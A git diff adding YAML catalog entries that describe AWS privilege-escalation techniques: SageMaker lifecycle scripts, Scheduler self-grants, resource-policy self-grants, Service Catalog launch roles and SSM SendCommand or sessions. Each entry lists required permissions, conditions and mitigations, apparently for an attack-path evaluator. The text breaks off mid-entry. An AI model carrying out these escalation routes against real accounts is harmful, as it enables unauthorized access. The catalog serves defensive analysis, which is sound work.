source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-group execution roles of HyperPod clusters it can update, by booting their nodes from an image it controls. + requires: + all_of: + - action: sagemaker:UpdateClusterSoftware + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_cluster + scope: same_account + aggregate_as: "Execution roles of HyperPod instance groups in {account}" + preconditions: + - sagemaker_hyperpod_custom_ami_group_role_effect + conditions: + - id: controlled_custom_ami + description: A custom AMI with attacker-controlled startup code must already be available to the account and meet HyperPod's encryption and volume constraints; creating it needs separate EC2 permissions. + - id: slurm_default_ami + description: Slurm-orchestrated groups on the default HyperPod AMI cannot be switched to a custom AMI by this operation. + - id: disruptive + description: The update replaces node root volumes and interrupts running workloads. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict sagemaker:UpdateClusterSoftware to platform administrators on specific cluster ARNs, restrict who can create or share AMIs, and keep instance-group roles least-privileged. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateClusterSoftware.html + notes: No role is passed, so iam:PassRole is not required. AWS does not permit UpdateClusterSoftware to switch a Slurm group from the default AMI to a custom one; a previous custom AMI is needed for that variant. A concrete edge requires the exact InService cluster and instance group to retain the target role, current authorization to update that cluster, and fresh reviewed evidence that an owned compatible unencrypted single-volume custom AMI was applied, nodes booted controlled startup code, and a useful role-only action succeeded. Missing or conflicting update evidence remains unresolved. + +- id: aws-sagemaker-attach-notebook-lifecycle-config + provider: aws + service: sagemaker + title: Attach a controlled lifecycle configuration to an existing notebook instance + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-notebook-instances + source_revision: b587e6bd26 + summary: The source can run startup code with an existing notebook instance's execution role by attaching a controlled lifecycle configuration. + requires: + all_of: + - action: sagemaker:CreateNotebookInstanceLifecycleConfig + resource: "arn:{source.partition}:sagemaker:*:{source.account}:notebook-instance-lifecycle-config/*" + - action: sagemaker:UpdateNotebookInstance + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_notebook_instance + scope: same_account + aggregate_as: Roles of notebook instances whose lifecycle configuration can be replaced in {account} + outcome: workload_execution + preconditions: + - sagemaker_attach_new_notebook_lifecycle_config + conditions: + - id: notebook_restart + description: The notebook must be stopped for the configuration change and started afterward so the startup hook executes. + - id: controlled_configuration + description: The source must create a lifecycle configuration containing code that uses the notebook role's authority. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit notebook lifecycle-configuration creation and attachment to trusted deployment principals, and review lifecycle script content. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateNotebookInstance.html + notes: This differs from rewriting an already-attached lifecycle configuration, which is covered by aws-sagemaker-updatenotebookinstancelifecycleconfig. + +- id: aws-sagemaker-updatenotebookinstancelifecycleconfig + provider: aws + service: sagemaker + title: Replace the startup script of an attached notebook lifecycle configuration + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatenotebookinstancelifecycleconfig--stored-code-execution-as-the-notebook-role + source_revision: ad7429a974 + summary: The source can replace an existing lifecycle configuration used by a notebook and run code under that notebook's execution role on its next start. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_notebook_instance + scope: same_account + aggregate_as: Roles of notebooks using a lifecycle configuration the source can update in {account} + outcome: workload_execution + preconditions: + - sagemaker_attached_notebook_lifecycle_update + conditions: + - id: future_notebook_start + description: The edited OnStart hook executes only when the attached notebook starts again; the source may need another authorized principal to perform that start. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit updates to notebook lifecycle configurations used by privileged notebooks and review their scripts before restarting those notebooks. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateNotebookInstanceLifecycleConfig.html + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_DescribeNotebookInstance.html + - https://docs.aws.amazon.com/sagemaker/latest/dg/nbi-al2.html + notes: The evaluator joins the exact collected NotebookInstanceLifecycleConfigName, notebook ARN and RoleArn in one account and Region, then checks UpdateNotebookInstanceLifecycleConfig on that configuration ARN. A future start and the script's actual outcome remain conditional. Stopped AL1 and AL2 notebooks cannot restart on their retired platforms. + +- id: aws-sagemaker-attach-studio-lifecycle-config-user-profile + provider: aws + service: sagemaker + title: Attach a controlled Studio lifecycle configuration to an existing user profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-sagemaker-studio + source_revision: b587e6bd26 + summary: The source can run startup code with a Studio user profile's execution role by attaching a controlled lifecycle configuration. + requires: + all_of: + - action: sagemaker:CreateStudioLifecycleConfig + resource: "arn:{source.partition}:sagemaker:*:{source.account}:studio-lifecycle-config/*" + - action: sagemaker:UpdateUserProfile + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_user_profile + scope: same_account + aggregate_as: Roles of Studio user profiles with updatable lifecycle settings in {account} + outcome: workload_execution + preconditions: + - sagemaker_studio_profile_lcc_route + conditions: + - id: studio_app_start + description: The profile's compatible Studio app must start with the new lifecycle configuration so the script runs. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict Studio lifecycle-configuration creation and user-profile updates and review startup scripts on profiles with privileged roles. + references: + - https://docs.aws.amazon.com/sagemaker/latest/dg/studio-lcc.html + notes: The precondition joins one free JupyterLab or CodeEditor lifecycle-configuration name, the exact user profile and role, CreateStudioLifecycleConfig and UpdateUserProfile permissions, and a creatable app of the same type. Existing apps or incomplete profile, domain, app or lifecycle inventories remain unresolved. Domain defaults and shared spaces need separate joins. diff --git a/src/privilege-escalation-paths-research/aws/scheduler.yaml b/src/privilege-escalation-paths-research/aws/scheduler.yaml new file mode 100644 index 0000000000..02d84b1135 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/scheduler.yaml @@ -0,0 +1,79 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EventBridge Scheduler privilege escalation techniques. +# Source: hacktricks-cloud eventbridgescheduler-privesc/README.md (rev 171e422299). + +- id: aws-scheduler-passrole-createschedule-or-updateschedule + provider: aws + service: scheduler + title: Create a schedule that adds an IAM permission to its creator + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md#iampassrole-schedulercreateschedule--schedulerupdateschedule + source_revision: 171e422299 + summary: The source can schedule a role-authorized IAM inline-policy write to itself and gain a new IAM permission. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: iam:PassRole + resource: "{target.role_arn}" + request_context: + iam:PassedToService: scheduler.amazonaws.com + - action: scheduler:CreateSchedule + resource: "{target.resource_arn}" + target: + kind: aws_verified_authority + selector: + aws_scheduler_iam_self_grant: true + scope: same_account + aggregate_as: "Scheduler IAM inline-policy self-grants in {account}" + outcome: permission_grant + grants: ["iam:CreateUser after a scheduled inline-policy write to the exact source principal"] + conditions: + - id: scheduled_iam_policy_write + description: The new schedule must run and its configured IAM inline-policy call must succeed before the source gains the permission. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict schedule creation and iam:PassRole to approved execution roles, and prevent those roles from changing their creators' IAM policies. + references: + - https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html + - https://docs.aws.amazon.com/scheduler/latest/UserGuide/setting-up.html + notes: The exact new schedule is in the default group. The passed role must trust Scheduler for that schedule and have effective iam:PutUserPolicy or iam:PutRolePolicy on the source IAM principal. The source must lack effective iam:CreateUser beforehand, and its boundary, organization and explicit-deny controls must permit that action after the inline policy is added. The scheduled call and later use remain conditional. The former generic passed-role edge remains excluded. +- id: aws-scheduler-passrole-updateschedule-self-grant + provider: aws + service: scheduler + title: Update an existing schedule to add an IAM permission to its editor + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md#iampassrole-schedulercreateschedule--schedulerupdateschedule + source_revision: cfbbb8b6f8 + summary: The source can update an existing schedule so a role-authorized IAM inline-policy write grants it a new permission. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: iam:PassRole + resource: "{target.role_arn}" + request_context: + iam:PassedToService: scheduler.amazonaws.com + - action: scheduler:UpdateSchedule + resource: "{target.resource_arn}" + target: + kind: aws_verified_authority + selector: + aws_scheduler_iam_self_grant_update: true + scope: same_account + aggregate_as: "Scheduler update IAM inline-policy self-grants in {account}" + outcome: permission_grant + grants: ["iam:CreateUser after a scheduled inline-policy write to the exact source principal"] + conditions: + - id: scheduled_iam_policy_write + description: The updated schedule must run and its IAM inline-policy call must succeed before the source gains the permission. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict scheduler:UpdateSchedule and iam:PassRole to approved roles, and keep the execution role from changing the editor's IAM policies. + references: + - https://docs.aws.amazon.com/scheduler/latest/APIReference/API_UpdateSchedule.html + - https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html + notes: Only one collected existing schedule with no customer-managed KMS key is modeled. The passed role must trust Scheduler for that exact schedule and have effective iam:PutUserPolicy or iam:PutRolePolicy on the source. The source must lack effective iam:CreateUser beforehand, and explicit denies, boundaries and organization policies must permit the new permission. The scheduled write and later use remain conditional. diff --git a/src/privilege-escalation-paths-research/aws/scoped_grants.yaml b/src/privilege-escalation-paths-research/aws/scoped_grants.yaml new file mode 100644 index 0000000000..20408c3a57 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/scoped_grants.yaml @@ -0,0 +1,127 @@ +# Scoped AWS permission gains. Each edge needs one unique reviewed record that +# binds the source, exact resource, accepted mutation, and effective permission +# before and after the mutation. Missing or ambiguous evidence creates no path. + +- id: aws-secretsmanager-putresourcepolicy-self-grant + provider: aws + service: secretsmanager + title: Grant the source IAM user GetSecretValue on an exact secret + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md#secretsmanagergetresourcepolicy-secretsmanagerputresourcepolicy-secretsmanagerlistsecrets + source_revision: d11f0e7012 + summary: The source IAM user writes a same-account secret resource policy naming itself and gains previously denied GetSecretValue, including the necessary KMS decrypt authorization. + source_kind: [aws_user] + requires: + all_of: + - action: secretsmanager:PutResourcePolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_secretsmanager_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["secretsmanager:GetSecretValue on the exact reviewed secret"] + aggregate_as: "Reviewed Secrets Manager GetSecretValue self-grants in {account}" + conditions: + - id: reviewed_secret_permission_differential + description: Unique reviewed evidence must bind the exact source IAM user, same-account secret, accepted policy principal and resource, prior denial, effective new GetSecretValue access, and KMS decrypt access. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict PutResourcePolicy on sensitive secrets and review grants to the requesting user with KMS access. + references: + - https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_resource-policies.html + notes: The target is the source user's new read permission on one secret, never the privileges of a credential that might be stored there. + +- id: aws-efs-putfilesystempolicy-self-grant + provider: aws + service: efs + title: Grant the source ClientMount on an exact EFS file system + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemdeletefilesystempolicyelasticfilesystemputfilesystempolicy + source_revision: d11f0e7012 + summary: The source replaces a file-system policy with an accepted statement naming itself and gains previously denied ClientMount on that file system. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: elasticfilesystem:PutFileSystemPolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_efs_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["elasticfilesystem:ClientMount on the exact reviewed file system"] + aggregate_as: "Reviewed EFS ClientMount self-grants in {account}" + conditions: + - id: reviewed_efs_permission_differential + description: Unique reviewed evidence must bind the source, file system, accepted policy principal and resource, prior ClientMount denial, and effective new ClientMount authorization. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict PutFileSystemPolicy and review client grants to the requesting principal. + references: + - https://docs.aws.amazon.com/efs/latest/APIReference/API_PutFileSystemPolicy.html + notes: This grants only ClientMount authorization; network reachability and ClientWrite or ClientRootAccess are separate conditions and permissions. Deleting the policy is not modeled by this entry. + +- id: aws-cases-tagresource-domain-event-self-grant + provider: aws + service: cases + title: Unlock PutCaseEventConfiguration by changing an exact domain authorization tag + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-cases-privesc/README.md#casestagresource--casesuntagresource-plus-tag-conditioned-cases-permissions + source_revision: d11f0e7012 + summary: The source tags an exact Cases domain Access=Operator and thereby satisfies its previously unmet aws:ResourceTag/Access condition for PutCaseEventConfiguration on that domain. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: cases:TagResource + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_cases_tag_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["cases:PutCaseEventConfiguration on the exact reviewed domain after Access=Operator tagging"] + aggregate_as: "Reviewed Connect Cases domain tag-conditioned grants in {account}" + conditions: + - id: reviewed_cases_tag_permission_differential + description: Unique reviewed evidence must bind the source, domain, accepted Access=Operator tag, pre-existing matching IAM condition, all evaluated resources, prior denial, and effective newly allowed PutCaseEventConfiguration action. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Cases authorization tag writes and use explicit denies for protected domains. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_connectcases.html + notes: Other Cases actions or resource types require separate exact proof and are not inferred from this domain grant. + +- id: aws-sitewise-createaccesspolicy-portal-self-grant + provider: aws + service: iotsitewise + title: Grant the source identity SiteWise Monitor portal administrator access + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-sitewise-privesc/README.md#grant-yourself-access-to-a-legacy-sitewise-monitor-portal + source_revision: d11f0e7012 + summary: The source creates an accepted access policy naming itself as ADMINISTRATOR on an existing Monitor portal where it had no equivalent access. + source_kind: [aws_user] + requires: + all_of: + - action: iotsitewise:CreateAccessPolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_sitewise_portal_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["iotsitewise:MonitorPortalAdministrator on the exact reviewed portal"] + aggregate_as: "Reviewed SiteWise Monitor portal administrator grants in {account}" + conditions: + - id: reviewed_sitewise_portal_permission_differential + description: Unique reviewed evidence must bind the exact source identity, existing portal, accepted access policy naming that identity, prior absence of equivalent access, and effective new ADMINISTRATOR permission. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict CreateAccessPolicy on Monitor portals and reconcile administrator grants against approved identities. + references: + - https://docs.aws.amazon.com/iot-sitewise/latest/APIReference/API_CreateAccessPolicy.html + notes: The target is the source's new portal-scoped application permission, not account-wide IAM authority. Monitor must be available in the account. diff --git a/src/privilege-escalation-paths-research/aws/servicecatalog.yaml b/src/privilege-escalation-paths-research/aws/servicecatalog.yaml new file mode 100644 index 0000000000..d27a2f6ff3 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/servicecatalog.yaml @@ -0,0 +1,94 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Service Catalog privilege escalation techniques. +# Source: hacktricks-cloud aws-service-catalog-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +- id: aws-servicecatalog-createprovisioningartifact-provisionproduct + provider: aws + service: servicecatalog + title: Add a product version and provision it under the launch-constraint role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#servicecatalogcreateprovisioningartifact--servicecatalogprovisionproduct + source_revision: 171e422299 + summary: The source can obtain the privileges of the launch-constraint role of products it can modify and provision. + requires: + all_of: + - action: servicecatalog:CreateProvisioningArtifact + resource: "{target.resource_arn}" + - action: servicecatalog:ProvisionProduct + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: servicecatalog.amazonaws.com + via_resource_type: servicecatalog_product + scope: same_account + aggregate_as: "Service Catalog launch-constraint roles in {account}" + preconditions: + - servicecatalog_new_artifact_effect_unverified + conditions: + - id: product_owned + description: The product must be owned by (not merely shared into) the account so artifacts can be added. + - id: portfolio_end_user + description: The source must be an end user (principal association) of a portfolio containing the product with a launch constraint. + - id: template_url + description: The source needs a template location (S3 or GitHub) the service accepts. + - id: resource_constraints + description: Launch-role permission boundaries or template/resource constraints may limit what the role can create. + - id: launch_role_confused_deputy_conditions + description: aws:SourceAccount / aws:SourceArn conditions in the launch-role trust policy limit which account's provisioning calls can use the role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict servicecatalog:CreateProvisioningArtifact to catalog administrators and keep launch-constraint roles least-privileged. + references: + - https://docs.aws.amazon.com/servicecatalog/latest/adminguide/constraints-launch.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsservicecatalog.html + notes: The launch-constraint guide states the launch role's trust policy must allow the Service Catalog service to assume it, which matches the selector. The end user needs no iam:PassRole; that permission is needed by the administrator who creates the launch constraint. A concrete edge requires one owned product in a portfolio the source can use, its launch constraint naming the exact role, a source-controlled new artifact, successful provisioning of that artifact, and a useful role-only action. Fresh reviewed evidence must bind the product, portfolio, artifact, provisioned product and exact RoleId; missing or conflicting evidence remains unresolved. + +- id: aws-servicecatalog-associateprincipal-createartifact-provision + provider: aws + service: servicecatalog + title: Grant itself portfolio access, add a product version and provision it under the launch role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#servicecatalogassociateprincipalwithportfolio--grant-a-principal-or-yourself-portfolio-access-to-reach-the-launch-role + source_revision: 171e422299 + summary: The source can obtain the privileges of the launch-constraint role of products it can modify, even without being a portfolio end user, by associating itself with the portfolio. + requires: + all_of: + - action: servicecatalog:AssociatePrincipalWithPortfolio + resource: "{target.portfolio_arn}" + - action: servicecatalog:CreateProvisioningArtifact + resource: "{target.resource_arn}" + - action: servicecatalog:ProvisionProduct + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: servicecatalog.amazonaws.com + via_resource_type: servicecatalog_product + portfolio_of_target_product_covered_by: servicecatalog:AssociatePrincipalWithPortfolio + scope: same_account + aggregate_as: "Service Catalog launch-constraint roles of portfolios the source can join in {account}" + preconditions: + - servicecatalog_new_artifact_effect_unverified + conditions: + - id: portfolio_covered + description: servicecatalog:AssociatePrincipalWithPortfolio must cover the portfolio that holds the product and its launch constraint. + - id: product_owned + description: The product must be owned by (not merely shared into) the account so artifacts can be added. + - id: template_url + description: The source needs a template location (S3 or GitHub) the service accepts. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict servicecatalog:AssociatePrincipalWithPortfolio and CreateProvisioningArtifact to catalog administrators; review portfolio principal associations (including name patterns) and keep launch roles least-privileged. + references: + - https://docs.aws.amazon.com/servicecatalog/latest/dg/API_AssociatePrincipalWithPortfolio.html + - https://docs.aws.amazon.com/servicecatalog/latest/adminguide/constraints-launch.html + notes: Variant of aws-servicecatalog-createprovisioningartifact-provisionproduct that lets the source associate itself with the portfolio before provisioning. The same product must belong to that portfolio and its LAUNCH constraint must name the exact role; portfolio-wide role association alone is insufficient. A concrete edge requires a successful self-association, one source-controlled new artifact accepted and provisioned for an owned product, and a useful action under the exact launch role unavailable directly to the source. Fresh reviewed evidence must bind those facts; missing or conflicting evidence remains unresolved. diff --git a/src/privilege-escalation-paths-research/aws/snowball.yaml b/src/privilege-escalation-paths-research/aws/snowball.yaml new file mode 100644 index 0000000000..0e1bf34845 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/snowball.yaml @@ -0,0 +1,12 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Snowball Edge job management privilege escalation techniques. +# Source: hacktricks-cloud aws-snowball-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Bounded impact: the job role is used +# only to read the selected S3 data onto a shipped device; no credentials are returned. + +[] diff --git a/src/privilege-escalation-paths-research/aws/sns.yaml b/src/privilege-escalation-paths-research/aws/sns.yaml new file mode 100644 index 0000000000..147b993ac2 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/sns.yaml @@ -0,0 +1,34 @@ +# Amazon SNS topic-policy permission gain for an exact same-account IAM user. +# Source: hacktricks-cloud aws-sns-privesc/README.md (rev fd9bf8863b). + +- id: aws-sns-settopicattributes-self-subscribe + provider: aws + service: sns + title: Grant the caller permission to subscribe to a topic + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snssettopicattributes--grant-subscribe-access-to-a-controlled-iam-user + source_revision: fd9bf8863b + summary: A same-account IAM user who can replace one topic policy can name itself and gain Subscribe on that topic. + source_kind: [aws_user] + requires: + all_of: + - action: sns:SetTopicAttributes + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_sns_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["sns:Subscribe on the exact reviewed topic"] + aggregate_as: "SNS Subscribe self-grants in {account}" + conditions: + - id: subscription_endpoint + description: Receiving messages also requires a controlled endpoint and any applicable delivery or confirmation permission. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict sns:SetTopicAttributes on sensitive topics and use explicit denies where a caller must never subscribe. + references: + - https://docs.aws.amazon.com/sns/latest/dg/sns-using-identity-based-policies.html + - https://docs.aws.amazon.com/sns/latest/dg/sns-access-policy-language-api-permissions-reference.html + notes: Only an exact collected topic and same-account IAM user with effective SetTopicAttributes, no prior Subscribe and no surviving identity, boundary or organization deny qualify. Replacing the topic policy can remove an old topic-policy Deny. The route grants permission to request a subscription; it does not prove that an endpoint was confirmed or any message delivered. diff --git a/src/privilege-escalation-paths-research/aws/sqs.yaml b/src/privilege-escalation-paths-research/aws/sqs.yaml new file mode 100644 index 0000000000..22c36d16be --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/sqs.yaml @@ -0,0 +1,34 @@ +# Amazon SQS queue-policy permission gain for an exact same-account IAM user. +# Source: hacktricks-cloud aws-sqs-privesc/README.md (rev fd9bf8863b). + +- id: aws-sqs-setqueueattributes-self-receive + provider: aws + service: sqs + title: Grant the caller permission to receive messages from a queue + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md#sqssetqueueattributes--grant-queue-access-to-a-controlled-iam-user + source_revision: fd9bf8863b + summary: A same-account IAM user who can replace one queue policy can name itself and gain ReceiveMessage on that queue. + source_kind: [aws_user] + requires: + all_of: + - action: sqs:SetQueueAttributes + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_sqs_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["sqs:ReceiveMessage on the exact reviewed queue"] + aggregate_as: "SQS ReceiveMessage self-grants in {account}" + conditions: + - id: queue_policy_propagation + description: SQS policy changes can take time to propagate; this route is the newly granted permission, not an observed message read. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict sqs:SetQueueAttributes on sensitive queues and use explicit denies where a caller must never gain message access. + references: + - https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_SetQueueAttributes.html + - https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/troubleshooting-access-denied.html + notes: Only an exact collected queue and a same-account IAM user with effective SetQueueAttributes, no prior ReceiveMessage and no surviving identity, boundary or organization deny qualify. For an SSE-KMS queue, the exact key ARN or ID must resolve to a collected regional KMS key and policy, and the user must have effective kms:Decrypt on that key; aliases and unavailable key policies remain unresolved. This grants the queue permission, not an observed message read; messages encrypted under earlier keys may need other Decrypt grants. An existing direct queue-policy Allow means the user already has access unless a queue-policy Deny blocks it; an account-root Allow only delegates to IAM. A replacement queue policy can remove its old Deny, including NotPrincipal Deny. A direct user grant bypasses a boundary's implicit deny, while an explicit boundary Deny still blocks it. diff --git a/src/privilege-escalation-paths-research/aws/ssm-incidents.yaml b/src/privilege-escalation-paths-research/aws/ssm-incidents.yaml new file mode 100644 index 0000000000..8fd0aa4040 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/ssm-incidents.yaml @@ -0,0 +1,46 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS ssm-incidents privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +- id: aws-ssm-incidents-response-plan-automation-passrole + provider: aws + service: ssm-incidents + title: Run controlled incident automation with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#hijack-response-plan-actions-chat-channel-and-contacts + source_revision: b587e6bd26 + summary: The source can create or update a response plan with a controlled SSM Automation document and pass a runbook service role to Incident Manager, then start an incident under that same plan. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm-incidents.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ssm-incidents.amazonaws.com + scope: same_account + aggregate_as: Passable Incident Manager runbook roles in {account} + outcome: workload_execution + preconditions: + - ssm_incident_response_plan_runs_new_automation_document + conditions: + - id: incident_trigger + description: StartIncident must use the same response plan created or updated by the source and trigger its automation action. + - id: automation_document + description: The source must be able to create an automation document whose steps use the passed role's authority. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict passing the execution role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict response-plan mutation and iam:PassRole to approved incident automation roles and review automation documents referenced by plans. + references: + - https://docs.aws.amazon.com/incident-manager/latest/userguide/response-plans.html + notes: CreateResponsePlan has no resource-level permissions, while UpdateResponsePlan and StartIncident use a Regionless response-plan ARN. The runbook service role trusts ssm-incidents.amazonaws.com and needs StartAutomationExecution on the document and generated execution; a separate Automation AssumeRole is not used by this path. The evaluator requires an active Incident Manager replication set, a creatable Automation document, and creation or update plus StartIncident on the same plan. Successful Automation execution remains conditional. diff --git a/src/privilege-escalation-paths-research/aws/ssm.yaml b/src/privilege-escalation-paths-research/aws/ssm.yaml new file mode 100644 index 0000000000..b492df33ab --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/ssm.yaml @@ -0,0 +1,394 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Systems Manager privilege escalation techniques. +# Source: hacktricks-cloud aws-ssm-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-ssm-sendcommand + provider: aws + service: ssm + title: Run commands on SSM-managed instances + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmsendcommand + source_revision: 171e422299 + summary: The source may reach the instance-profile role by running a shell command on an SSM-managed instance it can target. + requires: + all_of: + - action: ssm:SendCommand + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + conditions: + - id: shell_document_allowed + description: ssm:SendCommand must also cover a document that runs arbitrary commands (e.g. AWS-RunShellScript / AWS-RunPowerShellScript); a Resource limited to non-shell documents removes the edge. + - id: document_platform + description: The permitted shell document must be usable on the instance's operating system. + - id: instance_managed + description: The instance must be online in SSM (agent running, network path to SSM, managed-instance role). + - id: ssm_resource_tag_condition + description: ssm:resourceTag conditions may limit covered instances. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_shell_document_on_online_instance + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope ssm:SendCommand to specific instance ARNs/tags and to non-shell documents; restrict shell documents to administrators. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-rc-setting-up-cmdsec.html + notes: SendCommand authorizes both the instance and the document ARNs. The evaluator checks same-Region AWS shell documents; a potentially usable custom document remains unresolved. Hybrid managed nodes (mi-*) yield their service role credentials only via the node, not an EC2 instance profile. + +- id: aws-ssm-startsession + provider: aws + service: ssm + title: Open a Session Manager shell on managed instances + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartsession + source_revision: 171e422299 + summary: The source may reach the instance-profile role through a shell session on an SSM-managed instance it can target. + requires: + all_of: + - action: ssm:StartSession + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + conditions: + - id: session_document_restriction + description: If StartSession is limited to a document ARN that only allows port forwarding or a constrained command, no shell is obtained. + - id: session_data_channel + description: The source also needs ssmmessages:OpenDataChannel on the session it starts. + - id: instance_managed + description: The instance must be online in SSM. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_shell_session_on_online_instance + blockers: + - 